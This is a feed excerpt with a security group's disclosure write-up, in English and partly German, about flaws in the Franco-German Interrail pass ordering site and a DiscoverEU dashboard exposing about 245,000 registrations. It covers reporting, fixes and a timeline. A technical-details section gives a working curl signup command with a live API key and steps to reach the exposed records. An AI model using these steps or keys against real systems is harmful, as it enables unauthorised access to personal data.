As soon as the 30,001st person tries to register, the system would have to show an error and no longer allow registration.
But that was not the case here:
Instead, once the first 30,000 people started filling out the booking form, the form was simply removed from the page.
The website now displays a notice stating that all passes have been allocated.&lt;/p&gt;
&lt;p&gt;But just because you &lt;em&gt;started&lt;/em&gt; the form, doesn&amp;rsquo;t mean you already finished it.
So a backdoor was built in:
Anyone who had already started an order process but not completed it received an e-mail with a special link.
This link could then be used to complete the order process.&lt;/p&gt;
&lt;p&gt;There was just only one tiny problem:
You could generate these codes yourself with a simple command - even if you didn&amp;rsquo;t start the order process in time.&lt;/p&gt;
&lt;video controls preload=&#34;none&#34; poster=&#34;/p/freundschaftspass/bypass-poster.jpg&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/freundschaftspass/bypass.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/freundschaftspass/bypass.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;The video shows a new code being generated on the left side of the screen.
This code is then copied into the browser on the right, where the order form for the &amp;ldquo;Passe France Allemagne&amp;rdquo; then opens.
The form is filled out and at the end you see a confirmation that the registration was successful.&lt;/p&gt;
&lt;p&gt;A few hours later, our new Interrail pass arrived by e-mail.&lt;/p&gt;
&lt;p&gt;So the whole thing is kind of like having a treasure in your house - and hanging a sign on the front door saying &amp;ldquo;All the gold has already been distributed&amp;rdquo;. But everyone can find the key to the back door.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	If you want to know exactly when everything happened, you can find &lt;a href=&#34;#timeline&#34;&gt;a timeline at the end of the article&lt;/a&gt;.
&lt;/div&gt;
&lt;h2 id=&#34;detour-via-reporting&#34;&gt;Detour via Reporting&lt;/h2&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/zug-baustelle-umleitung.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/zug-baustelle-umleitung-small.jpg&#34;
         alt=&#34;The model train with the French and German flags detours, as there is a construction site with excavators in front of it.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Of course, we wanted to quickly report the problems to the appropriate parties so they could be fixed.
Unfortunately, this turned out to be more difficult than expected: a security contact was nowhere to be found.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;In the end we contacted all places that seemed like they could change something: The advertising agency that&amp;rsquo;s named in the imprint of the &amp;ldquo;Passe France Allemagne&amp;rdquo;. The IT security team of the german railway (Deutsche Bahn). The contact address from the imprint of the german page of the &amp;ldquo;Passe France Allemagne&amp;rdquo;. The contact address of the german Ministry of Transportation. And finally, the german federal computer emergency response team (CERT-Bund). We sent a description of the issue to all these and asked for confirmation of receipt and next steps.&lt;/p&gt;
&lt;p&gt;Unfortunately, we did not receive an answer at first.
Howevery one day later, the extra access was no longer available.
Instead, the backdoor page also showed a notice that all passes were already taken.&lt;/p&gt;
&lt;p&gt;Figuratively speaking, the back door was also provided with a notice: &amp;ldquo;Unfortunately, all gold bars have already been distributed.&amp;rdquo;&lt;/p&gt;
&lt;h2 id=&#34;station-4-where-the-wild-apis-live&#34;&gt;Station 4: Where the wild APIs live.&lt;/h2&gt;
&lt;p&gt;But noone checked if the door were actually locked.
As it turns out: By sending api request directly to the order backend, we could keep generating passes.&lt;/p&gt;
&lt;p&gt;Only a few minutes later, the pass arrived by email:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/pass-email.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/pass-email.png&#34;
         alt=&#34;Screenshot of interrail pass confirmation with code to redeem the pass in app&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;station-5-unfortunately-we-came-to-an-unscheduled-stop&#34;&gt;Station 5: &amp;ldquo;Unfortunately, we came to an unscheduled stop&amp;hellip;&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;At this point we didn&amp;rsquo;t know what to do anymore.&lt;/p&gt;
&lt;p&gt;So we put our heads together and tried to find a solution.
We knew that all people in charge were just pointing at the press office of Eurail (i.e. the company behind all Interrail passes, which was probably charged with issuing these passes as well) - and Eurail claimed there was no loophole.
So we sent our description to the press office again.&lt;/p&gt;
&lt;p&gt;Thereupon - and after insistent requests through other channels - we finally got an answer.
Eurail thanked us for pointing out the issue, told us that they had fixed the issue and were now looking for the falsely issued passports.&lt;/p&gt;
&lt;details&gt;
    &lt;summary&gt;How Eurail fixed the issue&lt;/summary&gt; 
&lt;p&gt;The backend for the order page was build with Supabase.
The API part for this is implemented using &lt;a href=&#34;https://github.com/PostgREST/postgrest&#34;&gt;PostgREST&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Conveniently, PostgREST provides &lt;a href=&#34;https://fixmgvbxfmvoowptgiti.supabase.co/rest/v1/?apikey=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImZpeG1ndmJ4Zm12b293cHRnaXRpIiwicm9sZSI6ImFub24iLCJpYXQiOjE2ODUxMDM4NDgsImV4cCI6MjAwMDY3OTg0OH0.A4clN0pRnK6gMoAbnPIOzLe2Ij5_q6nTIvg0D0S5CA4&#34;&gt;automatic API documentation&lt;/a&gt;.
So we can easily track what they really changed.&lt;/p&gt;
&lt;p&gt;And this change was actually relatively small:&lt;/p&gt;
&lt;p&gt;All api endpoints of the order process now have a new parameter &lt;code&gt;secret_key&lt;/code&gt;.
If you don&amp;rsquo;t specify this parameter, you can&amp;rsquo;t call the functions at all.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;PGRST202&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;details&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Searched for the function public.step_eligibility with parameters accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, user_session_code or with a single unnamed json/jsonb parameter, but no matches were found in the schema cache.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;hint&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Perhaps you meant to call the function public.step_eligibility(accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, secret_key, user_session_code)&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Could not find the function public.step_eligibility(accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, user_session_code) in the schema cache&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you specify an incorrect &lt;code&gt;secret_key&lt;/code&gt;, you will get an error message:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;P0001&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;details&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;hint&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Not allowed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We could not try what happens if you sent a request with the correct &lt;code&gt;secret_key&lt;/code&gt; - because we (fortunately) do not know it.&lt;/p&gt;
&lt;/details&gt;
&lt;p&gt;So now both the front door and the back door were finally locked.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Just to emphasize that again:
Publishing an API doc is not a security breach!
On the contrary, it should actually be good practice to do so.
Because a software does not become more secure by the fact that nobody knows exactly how it works.&lt;/p&gt;
&lt;p&gt;Your front door doesn&amp;rsquo;t become more secure by painting it in exactly the same color as your house wall, so it&amp;rsquo;s not so easy to spot.
It may look funny and confuse you at first - but the door will be more secure if you lock it.&lt;/p&gt;
&lt;p&gt;So &lt;em&gt;lock&lt;/em&gt; it, don&amp;rsquo;t hide it! 🤝&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&#34;station-6-data-leak-of-245000-records-today-from-track-2---directly-opposite&#34;&gt;Station 6: &amp;ldquo;Data leak of 245,000 records today from track 2 - directly opposite.&amp;rdquo;&lt;/h2&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/databreach-aus-zug.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/databreach-aus-zug-small.jpg&#34;
         alt=&#34;Two model trains are parked on the platform, shredded paper falling out of the open doors from the train on the opposite side.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;But these doors to more passes weren&amp;rsquo;t the only ones we found unlocked.
We also took a look at the neighboring projects and found another offer similar to the &amp;ldquo;Passe France Allemange&amp;rdquo;: &lt;a href=&#34;https://youth.europa.eu/discovereu_en&#34;&gt;DiscoverEU&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This program emerged back in 2018 as a result of the &lt;a href=&#34;https://en.wikipedia.org/wiki/Interrail#DiscoverEU&#34;&gt;#FreeInterrail campaign&lt;/a&gt;.
18-year-olds can sign up to win a free Interrail pass and travel Europe.&lt;/p&gt;
&lt;p&gt;While the &amp;ldquo;Passe France Allemagne&amp;rdquo; was dreamed up by the German and French governments, DiscoverEU was the created by the European Commission.
However, both offers have one crucial thing in common:
This project was implemented by the same agencies - MCI together with &lt;a href=&#34;https://www.caracal.agency/en/projects/discover-eu&#34;&gt;Caracal&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Information about DiscoverEU is available at &lt;code&gt;start-discover.eu&lt;/code&gt;.
But we didn&amp;rsquo;t spend much time looking around.
Because through the &lt;a href=&#34;https://crt.sh/?q=start-discover.eu&#34;&gt;Certificate Transparency Logs&lt;/a&gt; we quickly discovered the domain &lt;code&gt;dashboard.start-discover.eu&lt;/code&gt;.
The domain sounds exciting - but we are only greeted with a login screen.&lt;/p&gt;
&lt;p&gt;On a technical level, the site is built similarly to the &amp;ldquo;Passe France Allemagne&amp;rdquo; - and thus we already knew the API to create an account.
On the off chance we created an account – and to our surprise we were able to successfully log in with it.
With great concern for the work that now followed, we noticed:&lt;/p&gt;
&lt;p&gt;245,971 registrations for DiscoverEU were retrievable on the dashboard.
The following data was displayed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name of the person&lt;/li&gt;
&lt;li&gt;E-mail address&lt;/li&gt;
&lt;li&gt;Country of origin&lt;/li&gt;
&lt;li&gt;State of their registration&lt;/li&gt;
&lt;li&gt;Type of ticket&lt;/li&gt;
&lt;li&gt;Interrail order number&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/dashboard.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/dashboard.png&#34;
         alt=&#34;Screenshot of the dashboard: you can see a table with the columns &amp;#39;A. Code&amp;#39;, &amp;#39;G.Code&amp;#39;, &amp;#39;E-mail&amp;#39;, &amp;#39;First name&amp;#39;, &amp;#39;Last name&amp;#39;, &amp;#39;Status&amp;#39;, &amp;#39;Special type&amp;#39;, &amp;#39;Type&amp;#39;, &amp;#39;County&amp;#39;&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;All of this personal data was virtually open on the Internet and could be retrieved with little effort or prior knowledge.&lt;/p&gt;
&lt;details&gt;
    &lt;summary&gt;Technical details&lt;/summary&gt;
&lt;p&gt;The steps necessary to exploit the vulnerability were:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create an account using the following &lt;code&gt;curl&lt;/code&gt; command. &lt;code&gt;[EMAIL]&lt;/code&gt; and &lt;code&gt;[PASSWORD]&lt;/code&gt; would need to be replaced with an email address and password:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl --request POST &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --url https://zaymuaqytesywmkspxqk.supabase.co/auth/v1/signup &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --header &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Content-Type: application/json&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --header &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6InpheW11YXF5dGVzeXdta3NweHFrIiwicm9sZSI6ImFub24iLCJpYXQiOjE2Njk5OTM3NTgsImV4cCI6MTk4NTU2OTc1OH0.JraN96zZgiM5iOkWFqNmQYWZG2jS7kTeEaYS6eW8xj4&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --data &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    &amp;#34;email&amp;#34;: &amp;#34;[EMAIL]&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    &amp;#34;password&amp;#34;: &amp;#34;[PASSWORD]&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After a few moments, a confirmation email will arrive. Click on the link contained in it:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/confirmation.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/confirmation.png&#34;
            alt=&#34;Screenshot of the Confirmation Email: &amp;#39;Follow this link to confirm your user.&amp;#39;&#34;/&gt;&lt;/a&gt;
   &lt;/figure&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Log in with the newly created account on &lt;code&gt;https://dashboard.start-discover.eu&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can see all registrations.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id=&#34;another-stop-in-reporting&#34;&gt;Another stop in reporting&lt;/h2&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/report-per-postwaggon.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/report-per-postwaggon-small.jpg&#34;
         alt=&#34;The model train&amp;#39;s mail car, in the open door an oversized paper with the inscription ZER-Report&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Completely shocked by this databreach, we again unpacked our digital stationery and reported very quickly:
To the agency, the contact address of Start-Discover.eu, the CERT-EU and the office of the European Commission responsible for DiscoverEU.
Fortunately, we already knew the right contact person in the press office of Eurail, who then quickly passed the whole thing on to the responsible people.&lt;/p&gt;
&lt;p&gt;They reacted quickly and after less than an hour the vulnerabilty was closed - they simply deactivated the registration of new account.
They also informed us that that an external security test would now be carried out and the necessary steps defined in the GDPR would be taken.&lt;/p&gt;
&lt;h2 id=&#34;last-stop-conclusion&#34;&gt;Last Stop: Conclusion&lt;/h2&gt;
&lt;p&gt;The &amp;ldquo;Passe France Allemagne&amp;rdquo; and DiscoverEU are actually great ideas: Free train tickets for young people to get to know their neighboring countries.
But instead of simply enabling as many people as possible to enjoy a nice summer vacation and make new acquaintances, this unfortunately once again resulted in a digital disaster.&lt;/p&gt;
&lt;p&gt;The &amp;ldquo;Passe France Allemagne&amp;rdquo; is also a good example of the power imbalances created by bad digital solutions:
Those who have enough technical knowledge still get a passport even if all of them are actually already taken.
Everyone else goes away empty-handed or even loses their accounts.&lt;/p&gt;
&lt;p&gt;Such half-baked solutions would already be insufficient to sell a few concert tickets.
But if a federal ministry gives away train tickets, special attention has to be paid that everything is well tested.&lt;/p&gt;
&lt;p&gt;It gets even worse when we can not only create new passports, but even retrieve more than 245,000 records from the DiscoverEU program.
We say times and times again: &lt;strong&gt;If a website is mature enough to process data, it must also be mature enough to keep it to itself.&lt;/strong&gt;&lt;br&gt;
It&amp;rsquo;s staggering that such careless work was done here - and that this is apparently just accepted.&lt;/p&gt;
&lt;p&gt;We can only hope that we really were the first to discover this vulnerability - and that the data has not already been taken away by less benevolent actors.&lt;/p&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;p&gt;All times are CEST.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2023-06-12 10:00 – Start of sale.&lt;/li&gt;
&lt;li&gt;2023-06-12 – Unregistered Vercel application is found and reported.&lt;/li&gt;
&lt;li&gt;2023-06-13 23:00 – We find the backdoor.&lt;/li&gt;
&lt;li&gt;2023-06-14 01:15 – Report to DB-CSIRT, MCI, contact named in the imprint, BMDV, CERT-Bund&lt;/li&gt;
&lt;li&gt;2023-06-14 22:00 – Our test addresses receive interrail passes&lt;/li&gt;
&lt;li&gt;2023-06-15 00:00 – We send the report to Eurail as well&lt;/li&gt;
&lt;li&gt;2023-06-15 10:00 – We notice that the backdoor is also replaced by the &amp;ldquo;sold out&amp;rdquo;-notice&lt;/li&gt;
&lt;li&gt;2023-06-15 13:00-14:00 – We can verify that passes are still registerable via API&lt;/li&gt;
&lt;li&gt;2023-06-15 17:30 – Reply from Eurail that the loopholes have been closed&lt;/li&gt;
&lt;li&gt;2023-06-16 13:00 – We discover the databreach at Start-Discover.eu&lt;/li&gt;
&lt;li&gt;2023-06-16 15:30 – We report the databreach&lt;/li&gt;
&lt;li&gt;2023-06-16 18:50 – MCI replies to us, thanks for the report, at 16:20 the vulnerability had been closed&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;heading&#34;&gt;🤝&lt;/h2&gt;
&lt;p&gt;We shared our findings with Eva Wolfangel for ZEIT Online. You can find her article &lt;a href=&#34;https://www.zeit.de/digital/datenschutz/2023-06/freundschaftspass-frankreich-website-hacker&#34;&gt;here&lt;/a&gt; (in German).&lt;/p&gt;
&lt;p&gt;Originally we wanted to publish our findings on Friday, 16th of june 2023.
But because we discovered the databreach at DiscoverEU, reported them and waited until everything was secured, we postponed the publication.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Documenting, reporting and publishing such issues takes nerves and time - which we would also much rather spend looking out the train window. We do all this on a voluntary basis and in our spare time.&lt;/p&gt;
&lt;p&gt;If you want to support us, you can find possibilities here: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;We recommend that &lt;em&gt;every&lt;/em&gt; company publishes a security contact and, if necessary, further information on reporting security vulnerabilities on &lt;em&gt;all&lt;/em&gt; websites. The easiest way to do this is via a &lt;a href=&#34;https://securitytxt.org&#34;&gt;security.txt&lt;/a&gt;.
This would help (not only) us to be able to report such issues without detours to the right places in companies.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Wie wir ein Bahnticket buchen wollten und am Ende 245.000 Datensätze hatten</title>
      <link>https://zerforschung.org/posts/freundschaftspass-de/</link>
      <pubDate>Mon, 19 Jun 2023 06:50:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/freundschaftspass-de/</guid>
      <description>&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/fr-de-freundschaftspass-titel.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/fr-de-freundschaftspass-titel-small.jpg&#34;
         alt=&#34;Ein Modell einer Dampflok mit französischen und deutschen Fahnen, einem angehängten Trans-Europ-Express-Waggon. Der Zug verliert Tickets&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/freundschaftspass-en/&#34;&gt;This article was also published in english&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;Um die deutsch-französische Freundschaft zu feiern, haben sich Bundesverkehrsminister Wissing und sein französischer Kollege Beaune etwas Besonderes ausgedacht:
Je Land &lt;a href=&#34;https://www.tagesschau.de/ausland/europa/bahnticket-jugendliche-freundschaftspass-deutschland-frankreich-100.html&#34;&gt;30.000 kostenlose Interrail-Tickets&lt;/a&gt; für Reisen in Deutschland und Frankreich für junge Erwachsene zwischen 18 und 27.&lt;/p&gt;
&lt;p&gt;Allerdings lief beim Verteilen der Interrail-Pässe einiges schief.
Im Folgenden wollen wir euch mitnehmen auf eine Reise durch die Stationen des nicht ganz so gut umgesetzten Tickets und zeigen, wie man auch nach Ende der Registrierung noch an einen Pass kommen konnte.&lt;/p&gt;
&lt;p&gt;Und wenn wir schonmal unterwegs sind, präsentieren wir gleich mit: Eine Sicherheitslücke in einem ähnlichen Projekt auf EU-Ebene – umgsetzt von der gleichen Agentur – wodurch die Daten von rund 245.000 Registrierungen nahezu ungeschützt im Netz standen.&lt;/p&gt;
&lt;p&gt;Bitte zurücktreten – die Türen schließen und wir fahren ab! 🚄🚃🚃🚃🚃&lt;/p&gt;
&lt;h2 id=&#34;station-1-ddosingen&#34;&gt;Station 1: DDoSingen&lt;/h2&gt;
&lt;p&gt;Am 12. Juni um 10 Uhr war es so weit:
Die Registrierung für den Freundschaftspass wurde geöffnet – und die Server waren sofort überlastet.&lt;/p&gt;
&lt;p&gt;Dabei hätte man mit dem Ansturm rechnen müssen, denn die Tickets wurden nach dem &amp;ldquo;First come, first served&amp;rdquo;-Prinzip (&amp;ldquo;wer zuerst kommt, mahlt zuerst&amp;rdquo;) verteilt.
Wer eine Chancen auf eins der begehrten Tickets haben wollte, musste also schnell sein.
Dadurch probierten vermutlich zehntausende Nutzer*innen in Deutschland und Frankreich pünktlich um 10 Uhr gleichzeitig, an den Pass zu kommen.&lt;/p&gt;
&lt;p&gt;Klar: Ein System aufzusetzen, das mit so einem Ansturm umgehen kann, ist nicht trivial. Aber es ist möglich! Ähnliche Situationen kennen beispielsweise Veranstalter*innen von Konzerten beliebter Bands und Künstler*innen – und können in der Regel damit umgehen.&lt;/p&gt;
&lt;p&gt;So etwas muss gut durchdacht, vorbereitet und getestet werden.
Hätte man das ordentlich gemacht, hätte man merken müssen: Verdammt, das können wir nicht stemmen – und man hätte sich eine andere Lösung überlegt.&lt;/p&gt;
&lt;p&gt;Denn das &amp;ldquo;First come, first served&amp;rdquo;-Prinzip ist nicht alternativlos:
Statt alles auf einen Moment zu setzen, kann man den Verkauf auf mehrere Zeitpunkte verteilen.
So verteilt sich nicht nur der Ansturm – es können auch Personen teilnehmen, die an einem Montag um 10 Uhr keine Zeit haben, beispielsweise weil sie in der Schule, im Ausbildungsbetrieb oder in der Uni sitzen. &lt;em&gt;#Zielgruppenorientierung&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Man kann in einem solchen System auch Interessierten ein paar Tage Zeit geben, um sich anzumelden und dann die Pässe verlosen.&lt;/p&gt;
&lt;p&gt;Denn: Überlastete Server sind kein Zeichen für den Erfolg einer Aktion, sondern ein Zeichen für Versagen bei der Planung.&lt;/p&gt;
&lt;h2 id=&#34;station-2-passwort-reset-hausen&#34;&gt;Station 2: Passwort-Reset-Hausen&lt;/h2&gt;
&lt;p&gt;Während wir uns noch über dieses Versagen wunderten, bekamen wir einen Hinweis per Mail:
Nicht nur an dieser Stelle war die Plattform mit der heißen Nadel gestrickt und ungetestet.&lt;/p&gt;
&lt;p&gt;Wie zeigte sich das?
Die Glücklichen, die sich einen Pass sichern konnten, mussten eine E-Mail-Adresse angeben und sich ein Passwort ausdenken.
Mit dieser Kombination konnten sie sich dann auf der Freundschaftspass-Seite anmelden, um nach ihrem Pass zu schauen.&lt;/p&gt;
&lt;p&gt;So ein Passwort ist leicht vergessen oder falsch eingetippt – gerade wenn es schnell gehen muss.&lt;/p&gt;
&lt;p&gt;Glücklicherweise wurde für solche Situationen die &amp;ldquo;Passwort vergessen&amp;rdquo;-Funktion erfunden. Und wie gewohnt erhält man damit eine E-Mail mit einem Passwort-Reset-Link. Ungewohnt ist allerdings, dass dieser Link auf eine Fehlerseite führt:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/vercel-404.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/vercel-404.png&#34;
         alt=&#34;Screenshot einer 404-Fehlerseite: &amp;#39;deutschebahn-sncf-form.vercel.app might be available. Click here to learn how to assign it to a project&amp;#39;&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Wenn wir uns die Fehlerseite genauer ansehen, stellen wir fest, dass hier auf ein Vercel-Projekt verlinkt wurde, das nicht registriert ist.
Bei Vercel handelt es sich um einen Cloud-Anbieter, bei dem man seine Webanwendungen hosten kann.
Diese Anwendungen sind dann unter &lt;code&gt;&amp;lt;Anwendungsname&amp;gt;.vercel.app&lt;/code&gt; verfügbar.
